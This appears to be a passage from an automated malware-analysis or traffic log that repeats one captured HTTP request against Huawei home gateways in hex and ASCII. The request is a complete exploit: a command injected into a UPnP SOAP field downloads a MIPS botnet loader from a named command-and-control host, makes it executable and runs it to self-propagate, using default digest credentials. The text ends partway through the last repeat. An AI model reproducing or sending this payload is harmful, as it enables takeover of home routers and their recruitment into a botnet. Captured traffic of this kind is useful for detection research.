73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 